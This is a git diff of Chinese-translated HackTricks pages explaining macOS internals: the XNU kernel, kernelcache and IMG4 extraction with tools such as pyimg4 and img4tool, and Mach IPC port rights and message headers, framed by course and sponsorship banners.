随时了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# macOS Kernel & System Extensions
|
||||
# macOS内核与系统扩展
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧**。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## XNU内核
|
||||
|
||||
**macOS的核心是XNU**,代表“X不是Unix”。该内核基本上由**Mach微内核**(稍后将讨论)和来自伯克利软件发行版(**BSD**)的元素组成。XNU还通过名为I/O Kit的系统为**内核驱动程序提供平台**。XNU内核是达尔文开源项目的一部分,这意味着**其源代码是免费可访问的**。
|
||||
**macOS的核心是XNU**,代表“X不是Unix”。该内核基本上由**Mach微内核**(稍后将讨论)和**来自伯克利软件发行版(BSD)**的元素组成。XNU还通过名为I/O Kit的系统为**内核驱动程序提供平台**。XNU内核是达尔文开源项目的一部分,这意味着**其源代码是免费可访问的**。
|
||||
|
||||
从安全研究人员或Unix开发人员的角度来看,**macOS**可能会感觉与具有优雅GUI和大量自定义应用程序的**FreeBSD**系统非常**相似**。大多数为BSD开发的应用程序在macOS上编译和运行时无需修改,因为Unix用户熟悉的命令行工具都存在于macOS中。然而,由于XNU内核整合了Mach,因此传统的类Unix系统与macOS之间存在一些重要差异,这些差异可能会导致潜在问题或提供独特优势。
|
||||
从安全研究人员或Unix开发人员的角度来看,**macOS**可能会感觉与一个带有优雅GUI和大量自定义应用程序的**FreeBSD**系统非常**相似**。大多数为BSD开发的应用程序在macOS上编译和运行时无需修改,因为Unix用户熟悉的命令行工具都存在于macOS中。然而,由于XNU内核包含Mach,因此传统的类Unix系统和macOS之间存在一些重要差异,这些差异可能会导致潜在问题或提供独特优势。
|
||||
|
||||
XNU的开源版本:[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
|
@ -30,7 +31,7 @@ Mach是一个**微内核**,旨在**兼容UNIX**。其关键设计原则之一
|
|||
|
||||
### BSD
|
||||
|
||||
XNU **内核**还**整合**了大量源自**FreeBSD**项目的代码。这些代码与Mach一起作为内核的一部分运行在相同的地址空间中。但是,XNU内部的FreeBSD代码可能与原始FreeBSD代码有很大不同,因为必须对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出贡献,包括:
|
||||
XNU **内核**还**包含**了大量源自**FreeBSD**项目的代码。这些代码与Mach一起作为内核的一部分运行,在相同的地址空间中。但是,XNU内部的FreeBSD代码可能与原始FreeBSD代码有很大不同,因为必须对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出贡献,包括:
|
||||
|
||||
* 进程管理
|
||||
* 信号处理
|
||||
|
@ -39,7 +40,7 @@ XNU **内核**还**整合**了大量源自**FreeBSD**项目的代码。这些代
|
|||
* TCP/IP堆栈和套接字
|
||||
* 防火墙和数据包过滤
|
||||
|
||||
理解BSD和Mach之间的交互可能会很复杂,因为它们具有不同的概念框架。例如,BSD使用进程作为其基本执行单元,而Mach基于线程运行。在XNU中,通过**将每个BSD进程与包含一个Mach线程的Mach任务相关联**来协调这种差异。当使用BSD的fork()系统调用时,内核中的BSD代码使用Mach函数创建任务和线程结构。
|
||||
理解BSD和Mach之间的交互可能很复杂,因为它们具有不同的概念框架。例如,BSD使用进程作为其基本执行单元,而Mach基于线程运行。在XNU中,通过**将每个BSD进程与包含一个Mach线程的Mach任务相关联**来协调这种差异。当使用BSD的fork()系统调用时,内核中的BSD代码使用Mach函数创建任务和线程结构。
|
||||
|
||||
此外,**Mach和BSD各自维护不同的安全模型**:**Mach**的安全模型基于**端口权限**,而BSD的安全模型基于**进程所有权**。这两种模型之间的差异有时会导致本地特权升级漏洞。除了典型的系统调用外,还有**Mach陷阱允许用户空间程序与内核交互**。这些不同的元素共同构成了macOS内核的多面体混合架构。
|
||||
|
||||
|
@ -59,31 +60,30 @@ I/O Kit是XNU内核中的一个开源、面向对象的**设备驱动程序框
|
|||
|
||||
### Kernelcache
|
||||
|
||||
**Kernelcache**是XNU内核的**预编译和预链接版本**,以及必要的设备**驱动程序**和**内核扩展**。它以**压缩**格式存储,并在引导过程中解压缩到内存中。Kernelcache通过提供一个准备就绪的内核版本和关键驱动程序,减少了在引导时动态加载和链接这些组件所需的时间和资源,从而实现**更快的启动时间**。
|
||||
**Kernelcache**是XNU内核的**预编译和预链接版本**,以及必要的设备**驱动程序**和**内核扩展**。它以**压缩**格式存储,并在引导过程中解压缩到内存中。Kernelcache通过提供一个准备就绪的内核和关键驱动程序版本,减少了在引导时动态加载和链接这些组件所需的时间和资源,从而实现**更快的启动时间**。
|
||||
|
||||
在iOS中,它位于\*\*`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**,在macOS中,您可以使用**`find / -name kernelcache 2>/dev/null`**或**`mdfind kernelcache | grep kernelcache`\*\*找到它。
|
||||
在iOS中,它位于**`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**,在macOS中,您可以使用**`find / -name kernelcache 2>/dev/null`**或**`mdfind kernelcache | grep kernelcache`**找到它。
|
||||
|
||||
可以运行\*\*`kextstat`\*\*来检查加载的内核扩展。
|
||||
可以运行**`kextstat`**来检查加载的内核扩展。
|
||||
|
||||
#### IMG4
|
||||
|
||||
IMG4文件格式是苹果在其iOS和macOS设备中使用的容器格式,用于安全地**存储和验证固件**组件(如**kernelcache**)。IMG4格式包括一个头部和几个标签,这些标签封装了不同的数据部分,包括实际有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行之前确认固件组件的真实性和完整性。
|
||||
IMG4文件格式是苹果在其iOS和macOS设备中使用的容器格式,用于安全地**存储和验证固件**组件(如**kernelcache**)。IMG4格式包括一个头部和几个标签,这些标签封装了不同的数据片段,包括实际有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行之前确认固件组件的真实性和完整性。
|
||||
|
||||
通常由以下组件组成:
|
||||
|
||||
* **有效载荷(IM4P)**:
|
||||
* 通常是压缩的(LZFSE4、LZSS等)
|
||||
* 可选加密
|
||||
* 经常压缩(LZFSE4、LZSS等)
|
||||
* 可选加密
|
||||
* **清单(IM4M)**:
|
||||
* 包含签名
|
||||
* 附加键/值字典
|
||||
* 包含签名
|
||||
* 附加键/值字典
|
||||
* **恢复信息(IM4R)**:
|
||||
* 也称为APNonce
|
||||
* 防止某些更新的重放
|
||||
* 可选:通常找不到
|
||||
* 也称为APNonce
|
||||
* 防止某些更新的重放
|
||||
* 可选:通常找不到
|
||||
|
||||
解压Kernelcache:
|
||||
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
@ -91,17 +91,16 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
#### 内核缓存符号
|
||||
|
||||
有时苹果会发布带有符号的**内核缓存**。您可以通过访问[https://theapplewiki.com](https://theapplewiki.com/)上的链接下载带有符号的一些固件。
|
||||
有时苹果会发布带有符号的**内核缓存**。您可以通过访问[https://theapplewiki.com](https://theapplewiki.com/)上的链接下载一些带有符号的固件。
|
||||
|
||||
### IPSW
|
||||
|
||||
这些是您可以从[**https://ipsw.me/**](https://ipsw.me/)下载的苹果**固件**。在其他文件中,它将包含**内核缓存**。\
|
||||
这些是您可以从[**https://ipsw.me/**](https://ipsw.me/)下载的苹果**固件**。除其他文件外,它将包含**内核缓存**。\
|
||||
要**提取**文件,您只需将其解压缩。
|
||||
|
||||
提取固件后,您将获得一个类似于:**`kernelcache.release.iphone14`的文件。它采用IMG4**格式,您可以使用以下工具提取有趣的信息:
|
||||
提取固件后,您将获得一个类似于:**`kernelcache.release.iphone14`**的文件。它采用**IMG4**格式,您可以使用以下方法提取有趣的信息:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
|
@ -112,15 +111,12 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
您可以使用以下命令检查提取的内核缓存中的符号:**`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
有了这个,现在我们可以**提取所有的扩展**或者**您感兴趣的一个:**
|
||||
|
||||
有了这个,现在我们可以**提取所有的扩展**或者**您感兴趣的一个扩展:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
|
@ -133,10 +129,9 @@ kextex_all kernelcache.release.iphone14.e
|
|||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
|
||||
## macOS内核扩展
|
||||
|
||||
macOS对加载内核扩展(.kext)非常严格,因为该代码将以高特权运行。实际上,默认情况下几乎不可能加载内核扩展(除非找到了绕过方法)。
|
||||
macOS对加载内核扩展(.kext)非常严格,因为该代码将以高权限运行。实际上,默认情况下几乎不可能加载(除非找到了绕过方法)。
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
|
@ -144,7 +139,7 @@ macOS对加载内核扩展(.kext)非常严格,因为该代码将以高特
|
|||
|
||||
### macOS系统扩展
|
||||
|
||||
macOS创建了系统扩展,而不是使用内核扩展,它提供了用户级API与内核进行交互。这样,开发人员可以避免使用内核扩展。
|
||||
macOS不再使用内核扩展,而是创建了系统扩展,提供用户级API与内核进行交互。这样,开发人员可以避免使用内核扩展。
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
|
@ -155,16 +150,17 @@ macOS创建了系统扩展,而不是使用内核扩展,它提供了用户级
|
|||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,81 +1,82 @@
|
|||
# macOS IPC - 进程间通信
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 通过端口进行Mach消息传递
|
||||
## 通过端口进行 Mach 消息传递
|
||||
|
||||
### 基本信息
|
||||
|
||||
Mach使用**任务**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程一一映射**。
|
||||
Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可以包含 **多个线程**。这些 **任务和线程与 POSIX 进程和线程是一对一映射**的。
|
||||
|
||||
任务之间的通信通过Mach进程间通信(IPC)进行,利用单向通信通道。**消息在端口之间传递**,端口类似于由内核管理的**消息队列**。
|
||||
任务之间的通信通过 Mach 进程间通信(IPC)进行,利用单向通信通道。**消息在端口之间传递**,端口类似于由内核管理的 **消息队列**。
|
||||
|
||||
每个进程都有一个**IPC表**,可以在其中找到**进程的Mach端口**。Mach端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
每个进程都有一个 **IPC 表**,在其中可以找到进程的 **mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
|
||||
进程还可以将带有一些权限的端口名称**发送给另一个任务**,内核将使此条目出现在**另一个任务的IPC表**中。
|
||||
一个进程还可以将带有一些权限的端口名称 **发送给另一个任务**,内核将使此条目出现在 **其他任务的 IPC 表**中。
|
||||
|
||||
### 端口权限
|
||||
|
||||
端口权限定义了任务可以执行的操作,对于这种通信至关重要。可能的**端口权限**包括([此处的定义](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
端口权限定义了任务可以执行的操作,对于这种通信至关重要。可能的 **端口权限** 包括([此处的定义](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有**一个接收权限**与每个端口相关联(与管道不同,多个进程可以持有指向一个管道读端的文件描述符)。
|
||||
- 具有**接收权限**的任务可以接收消息并**创建发送权限**,从而使其能够发送消息。最初,只有**自己的任务**对其端口具有接收权限。
|
||||
- **发送权限**,允许向端口发送消息。
|
||||
- 发送权限可以**克隆**,因此拥有发送权限的任务可以克隆权限并将其授予第三个任务。
|
||||
- **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
- **端口集权限**,表示一个_端口集_而不是单个端口。从端口集中出列消息会从其中一个包含的端口中出列消息。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
|
||||
- **死命名**,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。
|
||||
* **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有 **一个接收权限** 对应一个端口(与管道不同,多个进程可以持有指向一个管道读端的文件描述符)。
|
||||
* 拥有 **接收权限** 的任务可以接收消息并 **创建发送权限**,使其能够发送消息。最初,只有 **自己的任务** 对其端口拥有接收权限。
|
||||
* **发送权限**,允许向端口发送消息。
|
||||
* 发送权限可以被 **克隆**,因此拥有发送权限的任务可以克隆权限并将其授予第三个任务。
|
||||
* **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
* **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出列消息会从其中一个包含的端口中出列消息。端口集可用于同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。
|
||||
* **死命名**,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。
|
||||
|
||||
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆**,因此任务可以复制并将权限授予第三个任务。结合一个称为**引导服务器**的中间进程,可以实现任务之间的有效通信。
|
||||
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆**,因此一个任务可以复制并将权限授予第三个任务。这与称为 **引导服务器** 的中间进程结合使用,可以实现任务之间的有效通信。
|
||||
|
||||
### 文件端口
|
||||
|
||||
文件端口允许在Mac端口中封装文件描述符(使用Mach端口权限)。可以使用`fileport_makeport`从给定的FD创建`fileport`,并使用`fileport_makefd`从`fileport`创建FD。
|
||||
文件端口允许在 Mac 端口中封装文件描述符(使用 Mach 端口权限)。可以使用 `fileport_makeport` 从给定的 FD 创建一个 `fileport`,并使用 `fileport_makefd` 从一个 fileport 创建一个 FD。
|
||||
|
||||
### 建立通信
|
||||
|
||||
#### 步骤:
|
||||
|
||||
如前所述,为了建立通信通道,**引导服务器**(mac中的**launchd**)参与其中。
|
||||
如前所述,为了建立通信通道,**引导服务器**(mac 中的 **launchd**)参与其中。
|
||||
|
||||
1. 任务**A**初始化一个**新端口**,在进程中获得一个**接收权限**。
|
||||
2. 作为接收权限持有者的任务**A**,**为端口生成一个发送权限**。
|
||||
3. 任务**A**与**引导服务器**建立**连接**,通过引导注册过程提供**端口的服务名称**和**发送权限**。
|
||||
4. 任务**B**与**引导服务器**交互,执行服务名称的引导**查找**。如果成功,**服务器复制从任务A接收的发送权限**并**传输给任务B**。
|
||||
5. 获得发送权限后,任务**B**能够**制定**一条**消息**并将其**发送给任务A**。
|
||||
6. 对于双向通信,通常任务**B**生成一个带有**接收权限**和**发送权限**的新端口,并将**发送权限提供给任务A**,以便其可以向任务B发送消息(双向通信)。
|
||||
1. 任务 **A** 初始化一个 **新端口**,在进程中获得一个 **接收权限**。
|
||||
2. 作为接收权限持有者的任务 **A**,为端口 **生成一个发送权限**。
|
||||
3. 任务 **A** 与 **引导服务器** 建立一个 **连接**,通过引导注册过程提供 **端口的服务名称** 和 **发送权限**。
|
||||
4. 任务 **B** 与 **引导服务器** 交互,执行一个服务名称的引导 **查找**。如果成功,**服务器复制从任务 A 接收到的发送权限**,并将其 **传输给任务 B**。
|
||||
5. 一旦获得发送权限,任务 **B** 就能够 **制定** 一条 **消息** 并将其 **发送给任务 A**。
|
||||
6. 对于双向通信,通常任务 **B** 生成一个带有 **接收权限** 和 **发送权限** 的新端口,并将 **发送权限交给任务 A**,以便它可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
引导服务器**无法对**任务声称的服务名称进行**身份验证**。这意味着一个**任务**可能潜在地**冒充任何系统任务**,例如虚假**声明授权服务名称**,然后批准每个请求。
|
||||
引导服务器**无法对**任务声称的服务名称进行身份验证。这意味着一个 **任务** 可能潜在地 **冒充任何系统任务**,例如虚假 **声明授权服务名称**,然后批准每个请求。
|
||||
|
||||
然后,Apple将**系统提供的服务名称**存储在安全配置文件中,位于**受SIP保护**的目录中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。与每个服务名称一起,还存储了**关联的二进制文件**。引导服务器将为这些预定义服务的每个服务名称创建并持有一个**接收权限**。
|
||||
然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于受 SIP 保护的目录:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。在每个服务名称旁边,还存储了 **关联的二进制文件**。引导服务器将为这些预定义服务的每个服务名称创建并持有一个 **接收权限**。
|
||||
|
||||
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
|
||||
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd 动态启动服务。新的工作流程如下:
|
||||
|
||||
- 任务**B**启动一个服务名称的引导**查找**。
|
||||
- **launchd**检查任务是否正在运行,如果没有,则**启动**它。
|
||||
- 任务**A**(服务)执行**引导签入**。在这里,**引导**服务器创建一个发送权限,保留它,并**将接收权限传输给任务A**。
|
||||
- launchd复制**发送权限并发送给任务B**。
|
||||
- 任务**B**生成一个带有**接收权限**和**发送权限**的新端口,并将**发送权限提供给任务A**(服务),以便其可以向任务B发送消息(双向通信)。
|
||||
* 任务 **B** 初始化一个服务名称的引导 **查找**。
|
||||
* **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。
|
||||
* 任务 **A**(服务)执行一个 **引导签入**。在这里,**引导** 服务器创建一个发送权限,保留它,并将 **接收权限传输给任务 A**。
|
||||
* launchd 复制 **发送权限并发送给任务 B**。
|
||||
* 任务 **B** 生成一个带有 **接收权限** 和 **发送权限** 的新端口,并将 **发送权限交给任务 A**(服务),以便它可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
然而,此过程仅适用于预定义的系统任务。非系统任务仍按最初描述的方式运行,这可能潜在地允许冒充。
|
||||
然而,此过程仅适用于预定义的系统任务。非系统任务仍按最初描述的方式运行,这可能导致冒充。
|
||||
|
||||
### 一个Mach消息
|
||||
### 一个 Mach 消息
|
||||
|
||||
[在此处查找更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg`函数,本质上是一个系统调用,用于发送和接收Mach消息。该函数要求将消息作为初始参数发送。此消息必须以`mach_msg_header_t`结构开头,后跟实际的消息内容。该结构定义如下:
|
||||
`mach_msg` 函数,本质上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将消息作为初始参数发送。此消息必须以 `mach_msg_header_t` 结构开头,后跟实际的消息内容。该结构定义如下:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -91,14 +92,14 @@ mach_msg_id_t msgh_id;
|
|||
为了实现简单的 **双向通信**,进程可以在 mach **消息头** 中指定一个 **mach 端口**,称为 _回复端口_ (**`msgh_local_port`**),消息的 **接收方** 可以向此消息发送一个回复。**`msgh_bits`** 中的位标志可用于指示应为此端口派生并传输一个 **一次性发送权限** (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意,这种双向通信通常用于期望回复的 XPC 消息 (`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但通常会像之前解释的那样创建不同的端口来创建双向通信。
|
||||
请注意,这种双向通信在期望回复的 XPC 消息中使用(`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但通常会像之前解释的那样创建不同的端口来创建双向通信。
|
||||
{% endhint %}
|
||||
|
||||
消息头的其他字段包括:
|
||||
|
||||
* `msgh_size`:整个数据包的大小。
|
||||
* `msgh_remote_port`:发送此消息的端口。
|
||||
* `msgh_voucher_port`:[mach 优惠券](https://robert.sesek.com/2023/6/mach\_vouchers.html)。
|
||||
* `msgh_voucher_port`:[mach 凭证](https://robert.sesek.com/2023/6/mach\_vouchers.html)。
|
||||
